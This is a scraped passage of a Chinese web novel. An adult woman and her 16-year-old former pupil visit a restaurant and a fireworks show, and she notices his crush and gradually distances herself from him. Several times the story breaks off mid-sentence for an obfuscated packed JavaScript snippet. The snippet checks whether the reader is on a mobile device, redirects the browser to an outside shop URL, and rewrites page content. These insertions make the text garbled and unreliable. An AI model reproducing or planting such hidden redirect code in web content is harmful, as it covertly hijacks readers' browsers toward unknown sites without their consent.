沈曜虽然还差几个月才满十七岁,体形已显出青年才具有的那种力量感。冬季时衣服穿得厚,看不出来,但和去年舒瑶五、六月份见到他的时候相比,体格明显又强健了一些。这是舒瑶未曾料到的。这小孩儿长得太快了。 “嗯?”从少年话里透出的意思,像是刻意锻炼过身材?舒瑶意外地挑挑眉,“什么意思?你参加你们学校的体能队了?” “我们和你们那时候肯定不一样啊。营养好长得都快。我们班男生平均身高都快174了。身高长得差不多么,当然到发育后期就开始长体格了。再说……”沈曜漫不经心地用叉子叉起一个鸡翅,慢悠悠咬了一口。 舒瑶追问:“再说什么?” 沈曜啃完鸡翅,放下叉子,“从小学四年级开始,我爸就让我练拳和打篮球练体能。他说他工作比较特殊,有时候遇见不讲理的客户上门找茬,怕我有危险。让我从小就学会自保。而且篮球和打拳可以舒缓学习压力,有利于心理健康。” 好嘛……原来是半个练家子……难怪这小子瞧上去瘦,骨骼和肌肉却十分有形,并非弱不禁风的那一款。 “唔。说得好像有点道理。”舒瑶赞同地点点头。 露天餐厅周围种满了紫藤,密密缠绕的藤蔓像是一堵绿色的墙,挡去不少夜里的凉风。 舒瑶觉得有点闷热,取了手腕上的发带将头发束起来搭在左肩。 穿白色短袖制服的服务员将一杯酒端了上来,连着其他三盘菜一并上齐了。 “你还点了酒?”沈曜帮着把装烤鸡翅的盘子往一边挪了挪。他没吃过西班牙菜,盯着那些菜的目光流露出好奇,“你都点的什么?我刚才没仔细看菜单。” 这下终于轮到舒瑶得意了,“雪莉酒,是西班牙非常著名的酒。可惜你未成年,等你成年了,姐姐再请你尝尝。” “大晚上的喝什么酒啊。等会儿醉了可别让我背你回去。”沈曜撇嘴,不太相信舒瑶的酒量。 舒瑶用右手的食指和中指夹拖起酒杯,小小抿了一口,满足的仰头喟叹:“难得来西班牙餐厅,怎么能不点酒?酒是西班牙的诗意和浪漫的灵魂。诗人Pablo Neruda说过,‘酒是地球的诗歌,一个人的灵魂与热情的结晶’。” 此时的她身心放松,起了逗弄小朋友的心思,故意在他面前酸唧唧的卖弄文采,好报傍晚水战时被少年打得不停求饶的小冤仇。 沈曜果真不耐激,手掌用力捏起桌上的气泡水,送到嘴边狠狠灌了一大口,气哼哼道:“切~说得这么冠冕堂皇,就是故意逗我不能喝酒。别找其他乱七八糟的借口。” 被发现了小心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13462766|139776||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 思,舒瑶心虚地眨眨眼,透亮的水眸像是带着致幻色彩的蝴蝶翅膀,“好吧不逗你了。你尝尝这个。” 沈曜不禁逗,被她的俏皮视线烫到心里,急忙低下头。 她笑盈盈的对沈曜指指他面前摆的一个白色圆形瓷碟,“这是西班牙的特色——伊比利亚火腿,有橡木果的香味。我上次吃过以后就念念不忘。今天难得有机会带你来,你一定要吃吃看。” 她能记得与自己分享尝过的美食,沈曜的心情瞬间就美丽了很多。 被她的介绍勾起了馋虫,他用叉子轻轻挑起一片放进口中,慢慢细细地品尝。那火腿片被切得极薄,颜色深红与奶黄色相间,呈半透明的色泽,滋味咸鲜适口、不油不腻,下咽之后唇齿留香。 他确实是第一次吃西班牙菜,一边吃一边问舒瑶菜品,舒瑶都和声细语的对他一一解答。 沈曜不用问也知道,舒瑶对于这次带他出来玩,是花了心思和时间认真准备过的。 这种被人放在心上悉心照顾和用心对待的感觉,让他既感动又沉迷。 女人身上有种淡淡的冷香,被夏夜的南风悄然吹送到他的呼吸之间,无声撩拨着他的心跳。那种独属于对她才有的悸动,无时无刻不在提醒自己,他喜欢她。 他眼帘低垂,眸光闪烁之间,悄悄窥探她搭在白色桌面上的浅粉色指尖。 少年已经吃饱了,可他不舍得就此离开。 周围的环境和美妙乐声都在暗示他,与她共进晚餐的机会是如此珍贵,恍如美梦。 奈何夜色不作美。 月辉渐亮,衬得夜更沉。 舒瑶看了眼时间,见少年的刀叉半晌没动,便提醒道:“烟花秀快开始咯。我们该去秀场了。不然一会儿没好位置。” 沈曜眼眸半垂,点点头,擦干净嘴巴,起身去了趟洗手间。 等他回来的时候,恰好瞧见一个金发碧眼的外国男人站在舒瑶身旁,笑眯眯地凝视她,还送了她一朵鲜嫩欲滴的红玫瑰。 沈曜脸色倏地阴沉下来,一把拉过舒瑶的手腕就往餐厅的出口走:“走了。去看烟花。” 得亏她早就把单买了,不然就冲沈曜这拉起她就往外猛冲的架势,一定会让人误会他俩吃霸王餐逃单。 舒瑶被他大力地拽起疾走,感觉他的后脑勺都在生气,不由纳闷,“你怎么了?刚才不还好好的吗?怎么突然生气了?” 30.仲夏夜之梦(三) 沈曜年轻气盛,遇到这种事没什么经验,完全控制不住自己的醋意。 他一边拉着舒瑶大步朝烟花秀场走,一边回头气呼呼地说:“下午打水战的时候就总有男的靠过来,我都给你挡开了。这次餐厅又来老外献殷勤。你怎么这么招人?” “嗯??”舒瑶不明白他为什么越说越生气,半开玩笑道:“我这年轻貌美的,有一、两个男生来搭讪。不是很正常吗?” “正常?”沈曜停下脚步,回头盯着她,眼里都快冒火了,“你以前经常碰见?” “对呀。”舒瑶歪了歪头,回忆道:“大学里隔三差五的就会有,上班以后少了一些,但是偶尔还会遇见。” 年轻女孩大多不都会有这样的经历吗?再说现在稍微长得帅点的年轻男生也会遇见很多来搭讪的。 “你在学校没遇见过吗?”舒瑶反问道。 “呃……”沈曜刚才气昏头了,现在稍微冷静下来,想想舒瑶说的对,在学校也总有人和自己表白,或者送情书。“但我都拒绝了啊。不像你,还收别人的花!” 沈曜忽然变得不讲道理闹脾气,舒瑶莫名感到有点好笑,拿着花的手随意举了举,“外国人送花是一种善意的表达。你想太多了吧。” 沈曜还是气恼,眉头紧拧,闪电一般出手,一把夺过她手里那朵花,往旁边的泥土里用力一砸,“这花有刺。别要了!” “哎!我的花!”舒瑶心疼的伸出手想捡回来,可惜沈曜紧紧攥着她的手腕,硬是不让她去捡。 那朵鲜花花瓣丰满、开得正艳,品相很不错。 “你这小孩儿怎么突然这么任性了!”舒瑶心里的火也冒上来,加重语气道。 舒瑶极难得凶他,除了两人初见那次,就是今天这次了。 沈曜是吃软不吃硬的性子,见舒瑶为了一朵别的男人送的花对自己发火,他的火气直往头顶上窜,几乎收不住。 仗着自己个子高力气大,他态度强硬地拉着舒瑶往前走,“你不许要别人的花!等会儿我给你弄一朵,赔给你!” 舒瑶赶不上他疾风般的步子,磕磕绊绊地跟着他,有两次脚下趔趄地差点摔倒。 难得带沈曜出来玩,舒瑶不想弄得彼此都不开心。 见少年脾气暴涨,逐渐有狂暴的趋势,只得叹息一声,做出让步,放软语气道:“算了,懒得和你计较。你慢点走呀,我被你拉得快摔跤了。” 走在前面的沈曜脚下一顿,这才收住横冲直撞的架势,放慢脚步走路。 作为大人,舒瑶虽然有所自觉不能和小朋友计较,但心里仍是有些气堵。 两人各自生着闷气,谁也没再开口说话,只是闷不做声地朝前走,走了十来分钟就到了碧穹天幕的公演区。 公演区到了这个时候,还有不少花车在巡游。 一辆辆花车被各式各样的小霓虹灯精心装点过,开过身边时,五彩缤纷的色彩映得车上的美人鱼和白雪公主像是活了一般,梦幻又美丽。 围着花车跳舞的演员穿着花哨夸张的童话服装,一边唱歌跳舞一边对周围的游客挥手示意,有些演员的手里还拿着各种花朵,见到有情侣或小孩子讨要,就会微笑着送给他们。 舒瑶瞧见花车漂亮,音乐欢快悦耳,心情好了不少。 沈曜看向拿着一束花的演员从眼前经过,原本深沉的眼眸终于亮了。 越接近公演区烟花秀的中心观赏地带,人群越是密集。 像他们一样提前到场占好位置的人不在少数。 夏夜的风里夹着海边的水汽,潮意挡不住游客们的热情,扑洒在人的脸上和身上,有股说不清的微醺,令人陶醉。 也许是怕人太多将他们挤散,沈曜一直拉着舒瑶的手腕没松开。 两人一边看巡游花车表演一边朝烟花秀的核心区走,随着表演时间一点点的接近,那块区域愈发人潮如织。 等到舒瑶被四周人群挤得快要迈不动步子时,才发现沈曜拉着她手腕的手,不知道在什么时候变成了牵着她的手。 两人的前面是一对情侣,也是紧紧牵着手,一边彼此情意绵绵地对视,一边朝前面走。 舒瑶低头,将视线落在自己和沈曜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13478192|139776||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 牵在一起的手上,心里隐约觉出有哪里不太对劲。 这样和他牵手,感觉不太合适啊…… 舒瑶想挣开沈曜的手,一抬眸却发现身边乌泱泱的全是人,一堆挤着一堆,一群挨着一群。 舒瑶扫视周围一圈,发现不但情侣牵着手,也有家长拉着孩子的,甚至还有一家五六个人都牵着手的。 人头攒动、寸步难行,就是他们眼下面临的现状。 舒瑶一头黑线。 瞧这势头,松开手很可能就真的被挤散了。 算了,牵着吧…… 就当幼儿园小朋友手拉手防走失好了。 两人挤到烟花秀观赏现场非常核心的位置,不论是想朝前还是退后,都已经挪不动脚步了。他们干脆停下来不再前行,老实等着表演开始。 直到此时,就没任何理由再牵手了吧…… 舒瑶默默的将手从少年的手中抽了出来,他也没再坚持与她牵着。 因为刚才闹了不愉快,现在两人之间的气氛有点尴尬。 他们彼此背对着,朝另一边抬头仰望夜空,谁也没先开口打破沉默。 舒瑶即便站在人群里,合身漂亮的穿着和纤腰长腿的身材依然出挑。 她和沈曜互相不说话、也不搭理对方。在外人看来就好像这个漂亮的年轻女人落了单。 离表演开始不到几分钟时,舒瑶的肩膀被旁边突然挤过来的男人用力碰了一下。 她偏头瞧了一眼那人,发现是个二十五、六岁的年轻小哥,一张方脸端正憨厚,神色腼腆,眼神直接,问她:“美女,你一个人来看烟花吗?能、能不能加个微信?” 舒瑶怔了一瞬,刚想开口拒绝他,一只修长有力的胳膊绕着她的肩搭上来,连着她人也被对方一把带进怀里虚虚地拥住。 沈曜用双手将她轻轻圈到自己怀里保护起来,脸色不善地睨着那个陌生的年轻男人,“你想干嘛?” 来搭讪的青年一见舒瑶有男伴,面色窘中带恼,嘀咕着朝一旁挤走了。“有男朋友早说啊。啧。这年头姐弟恋这么流行的吗?” 31.仲夏夜之梦(四) 沈曜听见那人的碎碎念,俊脸紧绷,浑身透着不自在,但没出声反驳。 舒瑶瞪圆了杏眼,很是无语,心想这都哪跟哪儿? 等那人重新没入人群离开,沈曜才松开舒瑶,烦躁地撸了两把头发,再次牵住她的手,眼神却不敢看她,只是傲娇的说:“牵着吧。人多免得挤散,还能避免麻烦。” 舒瑶懒懒地应了一声“哦”,心道多一事不如少一事,身边有个男性同伴,确实能减少被搭讪的几率。 只是沈曜拉着舒瑶的手开始冒汗,多多少少地反应出他内心的紧张。 舒瑶一怔,偏头轻轻捂嘴笑了一下,没敢让少年看见。 半大的小朋友体形和成年人无异,可心智依然是个少年人,硬要他装大人,还真是难为他了。 四周人太多,即便是在露天环境,也十分嘈杂。 众人又等了不过片刻,忽的,几道红、橙、黄、蓝、紫的强光倏然朝墨蓝色的天空射去。 大型烟花秀正式开始了。 随着音响里的倒计时,十点整的钟声敲响,数排烟花轰然齐放,场面非常震撼。 它们一簇簇地在天际炸开,绚丽多彩、美不胜收,声音时而尖啸、时而爆破,混着地面上沸腾欢呼的人声,点燃夜色的精彩序幕。 舒瑶被现场热烈的气氛影响,跟着人群一起大声惊叹欢笑,哪怕兴奋的浑身冒汗也毫不在意。 她的性格向来洒脱,遇见不开心的事,不消多久就会被她抛之脑后。刚才与少年不甚愉快的争吵,随着烟花之夜的狂欢早已不复存在,仿佛从来没发生过。 她指着姹紫嫣红的璀璨夜空,一手摇晃着身旁少年的胳膊,凑近他身侧大声说:“看!烟花秀太美了,咱们没白来!” 这时候说话如果不凑近耳朵大声喊,身旁人是听不到的。 舒瑶只是随着情绪坦然说出心中的想法,她也不指望沈曜能听见。她的眼睛紧紧盯着天空,被灿烂闪耀的烟花吸引、移不开视线,生怕错过任何一个精彩的画面。 忽然间,她感觉鬓边被人拂了一下。 有什么被插到她的头发里了。 “什么东西呀?”舒瑶抬起空着的那只手,摸到鬓边。原来是一朵花。 她又细细摸了几下,从花的形状和花瓣的质感判断,那是一朵玫瑰花。 “送给你。”身旁的男生没看天空,而是在拥挤的人潮里侧过身体圈护着她。他低低的声音当然不可能被听见,但舒瑶看他的嘴型,看懂了他说的是什么。 也许是两人挨得极近,少年脸上出现了罕有的害羞神情。他嘴角挂着羞赧笑意,望着她的眼神里写满愉悦。 就在此刻,一朵极大极绚丽的烟花骤然间在空中呼啸绽放,倒映进少年澄澈的眼眸,闪亮的湛蓝色在他琥珀色的瞳仁中盛开,无端令人惊艳。 舒瑶恰好见证他眼中的盛景,颇感震撼的同时,心情像是被什么情绪明显地触到了,在看不清的心之角落轻轻颤动。 少年的笑容甜甜的,像是一片云朵形状的纯白棉花糖。不经意间,那份甜意仿佛能传染。 突如其来的心悸让她觉得莫名其妙。 这小子刚才是在放电?无意识的,还是故意为之? 应该是无意识的吧……毕竟长了张惑人的帅脸,帅也不是他的错啊。 舒瑶收回视线,暗暗呼气调整被遽然打乱的呼吸。她抬手碰了碰鬓边的玫瑰,对少年释然笑道,“谢谢啦。” 沈曜款款凝视着她,轻轻摇摇头,嘴角的笑意缱绻。 此时正好第一波烟花燃放完毕,夜色暂时恢复沉寂。 硫磺的味道混着海水的潮气飘散在空气里,袅袅轻烟在人群上空弥漫。 舒瑶眼前仿佛还留着烟花的虚影,再对上沈曜胶着在她脸上的眼眸,却发觉那对眸子幽深迷人,异于往常,饱含着某种呼之欲出的未知情愫。 音响里的歌曲被换成了《我最闪亮》,明快鼓动的歌声一出,第二波烟花霎时铺满整个夜空,在天空中灿然盛放,好似一场光影交织的如梦花海。 舒瑶的手倏然又被沈曜牵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13489012|139776||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 住了,进而与她十指交缠。 亲昵无间的牵手方式直白的向她传达出他心底不为人知的深藏秘辛。 五光十色的烟花海映入少年的眼底,将那汪深潭似的眼眸激起旖旎的波澜,层层叠叠的能把人吸进去。 沈曜专注深情的眼神落在她的脸上,嘴角更是勾着好看的弧度,而他的嘴型在说“很美”。 舒瑶的心脏骤然一跳,终于觉察出少年那个不得了的秘密。 心底深处有个声音在报警,告诉她某些事情正在失控。 这样是不行的啊…… 舒瑶垂着头轻咬下唇,眨眼之间便在心里有了定夺。 她用力的想把手从沈曜的手里抽出来,然而试过以后却发现根本扯不开。 沈曜与她交握纠缠的手很用力,透出一股决然的霸道。 她再次尝试挣开,结果依然失败了。 头顶的烟花闪烁斑斓、忽明忽暗,就像那些原先被她因年龄差距而大意忽略的细节,最终逐一浮现在脑海。 少年对她刻意的亲近,每天的联络问候、每个星期的视频通话、视频里少年的一颦一笑,那些话语和笑容背后晦涩不明的深意,在这些明明灭灭的烟花里,一点点地绽放出危险的色彩。 刚才他们从餐厅出来,沈曜那难以控制的突兀愤怒,是在……吃醋吗? 舒瑶渐渐回过味儿来,回想着之前与他相处的点点滴滴。 少年的年纪还小,感情炙热纯粹,很难隐藏。 可是自己是个成年人,怎么就只粗心的以为他与自己亲近是因为孤单? 怎么就没想着他正在青春期? 怎么就没再细心一些,注意一下两人相处的分寸感? 舒瑶心里的自责像是杯中泼翻的水,瞬间淹没了整片心田。 不能再任由事态发展下去了,那会害了沈曜! 她是个成年人。理智告诉她,应该由她来肃清和斩断原本那些模糊不明的暧昧。 趁着少年对情感还懵懂不明,越早处理掉越好。 32.冥王星(一) 两天一夜的短途郊游顺利完成,舒瑶整理了一下纷乱的思绪,投入到工作中。 沈曜在海城又呆了几天,约舒瑶出去吃饭,舒瑶都说要加班婉拒了,只在他要走的前一天给他送了点学习材料做送别礼。 沈曜的性格有些偏执,认准的事情很难改变思想。这从他一直反对父亲再婚反对了两年就能看出来。要不是沈志鹏突发疾病吓到了他,让他意识到坚持反抗下去的严重性,他可能还会顽抗。 就算如此,他也没完全接受徐洛的身份。只是明着抗拒减少了,都是暗地里较劲儿。 比如没什么事,他绝对不会主动去沈志鹏和徐洛家拜访。再比如,对于徐洛的称呼,他都是直呼其名,连声阿姨都没叫过。甚至大部分见到徐洛的时候,他只是礼貌性地点点头算是打过招呼。 这些都是舒瑶之前和他视频聊天的时候,零零碎碎收集到的信息。 想到这些,舒瑶禁不住一阵头疼。 她以前因为她和沈曜之间的年龄差,完全没把两人的关系往歪处想,更没把沈曜当成平等的异性对待。 在她心里,一直都把他当做自己曾经的学生和关系亲近的弟弟看待。 直到这个暑假,带沈曜一起出去玩,发现了一些可疑端倪,她才正视起这段两人可被视为暧昧的往来。 该怎么和沈曜保持好安全的距离,不影响到他的学习和成长,舒瑶决定慎重处理。 一刀切肯定不行,沈曜正是冲动的年纪,激流勇退这种方法不能用。思来想去,只能用缓兵之计,徐徐图之才可行。 于是从那之后,沈曜每晚给她发来的消息,她都会隔一段时间才回。也不是每条都回了,从五、六条消息只回三、四条、逐渐减少到只回一、两条。 说到回复少的理由,当然是工作忙、应酬多。这对于上班族来说真是最好用的借口了。空间上的距离为她提供了很好的保护伞。 至于视频,也从每周一次,被她渐渐地推脱成两周一次,到了后来变成三周、四周才有一次。 不仅如此,舒瑶还将沈曜设置了单独的朋友圈分组——不可见。不论从什么方面,都要做到降低存在感,尽量将自己有关的任何消息从对方的生活中剥离出来。 两个月的时间过去,沈曜发来的消息,她甚至到了隔日才会回复一二。 高中的学生学业繁忙。沈曜长得帅,性格直爽,朋友多,追他的女孩也多。舒瑶倒不怎么担心他会闲得无聊,进而有太多的时间来瞎想和自己的关系变化。 不知不觉,半个学期过去,舒瑶发现沈曜那边对于自己疏远他倒是没太多反应。 这可真是个好现象,舒瑶觉得自己可以松口气了。 沈曜年纪小,热情必然来得快去得也快。她估摸着再过两个月,他对自己那种懵懂的好感就会淡去。 只是,在这段疏远他的过程中,舒瑶自己也觉得不太得劲儿。毕竟两人愉快相处了这么久,超过两年的交情,不是说淡忘就能淡忘的。 要用各种小心机去故意疏远一个原本与自己关系很亲厚的小朋友,那小朋友对自己还这么信任依赖。这种事多少都让舒瑶心里生出一些矛盾的愧疚感。 唉……人啊……很多事情总是难两全的。 - 一阵秋雨潇潇,青黄的梧桐树洋洋洒洒,铺满海城的大小街道。 雨水细密,如丝如缕,没见成滴的水滴纷至落下,但只要在马路上走个五六分钟,就会发现衣服已被浸得半湿。 舒瑶半个身体趴在咖啡吧的桌子上,懒洋洋地提不起劲儿。 林娓娓到咖啡吧的时候,见自己的好朋友像是被抽干了精气神,整个人显得萎靡不振,就像这秋天的萧瑟。 “干嘛呢?这么颓。”林娓娓轻轻拍了一下舒瑶的背,“昨晚熬夜加班了?” 舒瑶慢吞吞地支棱起身子,拿起桌上的红茶喝了一口,“也不是。就是有些伤感。” “嗯?”林娓娓拉过一旁的凳子,放下斜挎包,坐到她身旁,关心地问道:“你这平时也不是伤春悲秋的性格呀。遇见什么事了?和我说说呗。” 舒瑶在脑中组织了一下语言,才说:“就是有个一直来往的朋友,因为某些原因没法再联系了。想想有些难过。” 林娓娓是个人精,听她这么一说,眼珠子转了转,猜测地问:“异性朋友?” 舒瑶点点头。 林娓娓接着问:“为了避嫌?” 舒瑶又点点头。 林娓娓八卦之心雄起,试探着深挖,“干嘛?你喜欢他?还是暧昧对象?” 舒瑶给了她一个大白眼,“都不是啦!你就不能纯洁点?难道男女之间就不能有点纯友谊?” 因为年龄差距所以她才麻痹大意,这点舒瑶可不敢和林娓娓透露,否则以娓娓的机智,很快就能猜出那人是谁。 林娓娓朝天望了望,按照自己的理解和见识总结道:“也不是不能。但是一般男女的思维不一样,除非有某些话题、观点或者兴趣特别一致的,否则很难长时间保持纯粹的友情联系。要么就是一方觉得纯洁、另一方心里多少会对对方有点好感之类的,这种比较常见。” 舒瑶听了她的话,若有所思。 林娓娓又补充道:“啊。还有两种可能。” 舒瑶被她吊起了兴致,支起下巴,问道:“哪两种?” 林娓娓招来服务生,点了杯鸳鸯奶茶,才接着说:“一种就是从小一起长大的,情同兄妹或姐弟,另一种就是……嗯……其中一方喜欢同性。那么这两人就会特别特别的纯洁。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13498760|139776||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >舒瑶眯起眼睛瞅她,一副“我就知道你会说什么”的表情。 林娓娓凑到她耳朵边,小声逗她:“你看看,我刚才罗列的这些种种情况,你是哪一种?” 舒瑶长长叹了一声,再次趴回桌子上装死。 林娓娓被她难得的咸鱼样给逗乐了,推推她,“行了。我知道这种感觉,不管性别,只要是关系不错的朋友,要突然断了联络,确实会让人有些舍不得。再说你本来就是个对感情很看重的人,无论友情还是亲情。爱情嘛……初恋不算,等你以后有了稳定的爱情我再来评价。哈哈。” 咖啡吧里此时放了一首许嵩的《如果当时》,听得舒瑶心里越发堵得慌。与男生相处了两年多,对方对自己的信任和依赖,和他待在一起时那种单纯的快乐,对舒瑶来说都有些难以割舍。 舒瑶烦闷地揉了揉脸,提醒自己要振作。 哎呀算了不纠结了!对于少年来说,他正是要全身心拼博的年纪,自己应该正确的引导他才对。就算引导不了,那也不能拖他的后腿。 舒瑶一个鲤鱼打挺,坐直身体,目光炯炯地盯着好友:“我就知道你最好了!走,我们去喝啤酒兑二锅头!” 舒瑶的酒量还可以,每当她工作遇到难题,或者生活里不开心的事,只要和好友大吃大喝一顿,喝点小酒就会满血复活。可林娓娓的酒量和她相去甚远,当不了她的酒搭子。 “啊?”林娓娓惊了,抬脚就想溜,却被眼疾手快的好闺蜜一把拉住。 林娓娓哀嚎:“你这可是要了老娘的命了!” 舒瑶见林娓娓实在不情愿,也不勉强她,便建议两人去吃顿火锅,然后再一起逛逛街买点衣服。林娓娓这才欣然同意。 “对了,上次那个找你家选楼盘的老板,搞定了吗?”舒瑶挽着林娓娓的胳膊问。 “搞定了,我爸出手,哪里有搞不定的客户?”林娓娓骄傲道。 舒瑶推开咖啡吧的门,替林娓娓理了理偏低的领口,“那你呢?你最近在忙什么呢?” 林娓娓:“我最近一直在学西方的占星术呢。” 舒瑶:“星座?还没学完啊?过年那几天就听你在说这个。” 林娓娓:“这些天文有关的科学都是易学难精啊。要想吃得透,不花功夫可不行。” 舒瑶:“学到哪儿了?” 林娓娓脑中灵光一闪,瞥了眼好闺蜜,“冥王星。一颗离太阳很远的星,一直沉默在无尽的黑暗中。” 舒瑶好奇:“这星星以前没听你提过哎。它是什么含义?” 林娓娓意味深长地笑道:“死亡和再生。一颗业力非常重的星,也是天蝎座的守护星。” 舒瑶皱眉。天蝎座…… 耳熟。 “冥王星意味着:向死而生。” 33.冥王星(二) 下课铃敲响,学生们从教室里鱼贯而出,上厕所的、接水的、站在走廊上放风休息的,各种款都有。 原本朗朗书声的高中校园,眨眼之间就变得热闹活跃起来。 当然,这其中不包括沈曜。 周思诺小心翼翼地瞅了好兄弟几眼,见他一直盯着窗外发呆,脸色阴沉,嘴角带伤,心情也跟着沉重起来。 沈曜最近的状态,就像是回到初中那会儿和他爸闹得最凶的那阵子。 万幸的是,他不像那时会逃课、不认真听讲、不做作业。对于学习,他始终都很上心。只是除了学习之外,整个人都显得阴郁而消沉。 周思诺尝试着问过他几次,他都没说是什么原因。可看他那郁郁寡欢的样子,周思诺猜测他遇到的事应该很棘手。 作为从小到大一起长大的好哥们儿,锲而不舍的八卦是必备精神。 周思诺见沈曜前面的同学出教室去厕所放水了,于是坐过去,关心地询问:“兄弟,昨天又打架了?” 沈曜沉沉的“嗯”了一声。 周思诺看他那个生无可恋的样子,还有嘴角新添的伤,都替他着急,“你最近脾气好暴躁啊。到底遇到什么事了?说出来我也好给你参谋参谋。你光一个人心烦有什么用!” 沈曜拿起一只笔转着,咬了咬嘴唇,“之前没太确定,不好和你说。现在确定了。” 周思诺一听有戏,瞬间浑身来劲儿,挺直身子,追问:“确定什么?” 沈曜烦躁地皱起眉头,“她在疏远我。” 周思诺一听这话,秒懂,“你干了什么丧尽天良的事,惹你女神不高兴了?” 沈曜拿起书本抬手就要揍他。 周思诺赶紧伸手挡住脸讨饶,“好好好。怪我,怪我,嘴瓢了。你展开说说,信息太少,我没法帮你分析啊。” “我没干嘛。”想起暑假唯一的一次不愉快,沈曜又有些犹豫,“就是暑假和她出去玩,有人送了她一朵玫瑰花,我脾气上来没控制住,把那朵花扔了。” 周思诺听得有点迷糊,“你女神气量很小?平时是那种经常‘嘤嘤嘤’的性格?” 沈曜的眼神迷离了几秒,很快恢复清明,“不是。她性格很好,坦诚又爽快。” 周思诺挠挠头,“那不应该啊。一朵花而已。你再说说具体的,多说点。” 沈曜忽然有点支支吾吾,“我、我还牵了她的手。不过当时人太多,我怕她被人挤到,挤散了,才拉的。” 周思诺听得睁大了眼睛,“你和她表白过吗?” “没。”沈曜想了想,“她应该不知道我的心思。” “胆儿挺大啊你。连喜欢都没说过,这就上手了?”周思诺感叹,“不愧是你。” “很过分吗?”沈曜忆起暑假的事,有点心虚。 “那倒不至于。”周思诺往椅背上懒散地靠过去,“你也说了啊。人多怕她挤着。多正当的理由。” “那到底是为什么……”沈曜头疼不已,狠狠搓了搓后脑勺。 周思诺劝他:“你说你暗恋人家这么久,我算算啊,过年到现在,怎么也得八、九个月了吧。我还不知道你女神到底什么样。你好歹和我说一些她的信息,我才能帮你想办法追啊。” 沈曜最近憋闷的厉害。不甘心,又不能见面,因为舒瑶近两个月对自己愈加明显的淡漠,弄得他心里焦躁不安。终于忍不住,和周思诺透了底。 沈曜抹了把脸,坦白了,“你……也见过的。我初中那个小家教。” 周思诺正翘着凳子一摇一晃,听到沈曜的话,惊得“哐当”一下连人带凳子一起滑倒了。 动静闹得不小,班里的同学们都被他吓了一跳。 饶是他脸皮厚,摔跟头之后接受全班的注目礼也着实令人难为情。 周思诺顶着个大红脸从地上爬起来,对同学们尴尬地笑了笑,“意外、意外,你们就当没看见。” 沈曜刚才见他一副听八卦不嫌事大的样子,原本心里有点不爽。现在瞧他被自己的话惊吓到,沈曜的心里才舒服了一些。 损友就该有损友的自觉。 “不是吧大哥!之前我记得是谁和我说他没那心思来着?打脸了吧?”周思诺揉了揉屁股,扶正凳子小心地坐下,这次他的坐姿十分端正,“你这日久生情也太久了吧!反射弧这么长的吗?以年来计的?” “你不知道真香定律么?”沈曜自嘲地笑,“我现在可‘香’了。” “是。你不只是‘香’,我看你都‘香’迷糊了。”周思诺觉得不可思议。他这位好哥们儿要么没喜欢的女生,一喜欢就喜欢上这么高难度的。 沈曜深沉地叹了口气,表情困顿又苦恼。 到底是旁观者清,周思诺很快发现了问题的症结所在,“那漂亮姐姐大你不少吧?” “嗯。大我七岁。” 周思诺眨巴几下小眼睛,几秒之内就想明白关键。 他轻轻敲了敲沈曜的桌面,提醒道:“你怎么这么糊涂。你还未成年啊。哪怕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13533122|139776||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你马上要满十七岁了,那也还是未成年!我那会儿远远瞧了那姐姐几眼,一看就是很聪明灵透的妙人儿。你说如果她看明白了你的心思,还会不躲着你吗?” 一语惊醒梦中人。 沈曜如遭雷击,说话的声音都颤了,“你、你是说……” 